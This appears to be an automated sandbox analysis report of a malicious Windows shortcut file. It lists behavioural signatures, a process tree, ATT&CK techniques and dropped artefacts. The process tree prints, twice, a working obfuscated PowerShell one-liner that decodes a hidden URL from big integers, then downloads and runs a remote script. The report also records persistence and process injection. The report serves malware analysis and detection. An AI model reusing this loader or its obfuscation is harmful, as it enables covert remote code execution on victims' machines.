Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_776274188255.lnk
- Size 2KB
- Sample260729-ntwjhsshpe
- SHA256 17d69a1b7cb10939c79cf3dffbb293089de524e1f14e2c32ed79d5e613c1941b
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_776274188255.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$cfeytri=49;$zcb39ly=[bigint]::Parse('44042476689033513073665853739569174701218192836426');$d5n_irp=[bigint]::Parse('44042476689032919906575395640601979643949043999713');$zcb39ly=$zcb39ly-$d5n_irp;$qrkng18_mi=@();while($zcb39ly -gt 0){$qrkng18_mi+=[char][int]([bigint]::Remainder($zcb39ly,256));$zcb39ly=[bigint]::Divide($zcb39ly,256)};.([scriptblock]::Create((irm(-join$qrkng18_mi))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$cfeytri=49;$zcb39ly=[bigint]::Parse('44042476689033513073665853739569174701218192836426');$d5n_irp=[bigint]::Parse('44042476689032919906575395640601979643949043999713');$zcb39ly=$zcb39ly-$d5n_irp;$qrkng18_mi=@();while($zcb39ly -gt 0){$qrkng18_mi+=[char][int]([bigint]::Remainder($zcb39ly,256));$zcb39ly=[bigint]::Divide($zcb39ly,256)};.([scriptblock]::Create((irm(-join$qrkng18_mi))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xvjnyfv_yia_upd_oxp0250bfe53b2041\psl.exe"C:\Users\Admin\AppData\Local\Temp\xvjnyfv_yia_upd_oxp0250bfe53b2041\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_sdilcwhf.dpg.ps1
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
zlxyy_wph_q_ptssru.zip
DCRCVDrv.sys
memory/1276-195-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-179-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-1371-0x0000000006AB0000-0x0000000007054000-memory.dmp
memory/1276-1370-0x0000000006460000-0x00000000064F2000-memory.dmp
memory/1276-1367-0x00000000052D0000-0x0000000005336000-memory.dmp
memory/1276-112-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-113-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-149-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-153-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-155-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-115-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-159-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-117-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-175-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-119-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-121-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-108-0x0000000000400000-0x0000000000470000-memory.dmp
memory/1276-110-0x0000000005010000-0x000000000502A000-memory.dmp
memory/1276-111-0x0000000005040000-0x000000000506C000-memory.dmp
memory/1276-147-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-231-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-227-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-226-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-223-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-221-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-219-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-215-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-213-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-211-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-209-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-207-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-205-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-201-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-199-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-197-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-191-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-193-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-189-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-187-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-123-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-186-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-183-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-181-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-203-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-177-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-173-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-171-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-169-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-167-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-165-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-163-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-161-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-157-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-151-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-145-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-143-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-141-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-139-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-137-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-135-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-133-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-131-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-229-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-129-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-224-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-127-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-217-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1276-125-0x0000000005040000-0x0000000005066000-memory.dmp
memory/1428-89-0x0000000000010000-0x000000000003D000-memory.dmp
memory/2576-109-0x00007FF64C040000-0x00007FF64C055000-memory.dmp
memory/2940-22-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-18-0x0000015FE36C0000-0x0000015FE36D2000-memory.dmp
memory/2940-0-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-14-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-63-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-21-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-15-0x0000015FE43C0000-0x0000015FE48E8000-memory.dmp
memory/2940-1-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-16-0x0000015FE2CD0000-0x0000015FE2CDA000-memory.dmp
memory/2940-2-0x0000015FCA9C0000-0x0000015FCA9E2000-memory.dmp
memory/2940-10-0x0000015FE3CC0000-0x0000015FE3E82000-memory.dmp
memory/2940-11-0x0000015FE2CE0000-0x0000015FE2CF0000-memory.dmp
memory/2940-12-0x0000015FE2CB0000-0x0000015FE2CDA000-memory.dmp
memory/2940-13-0x0000015FE2CB0000-0x0000015FE2CD4000-memory.dmp
memory/4692-740-0x0000000000600000-0x0000000000670000-memory.dmp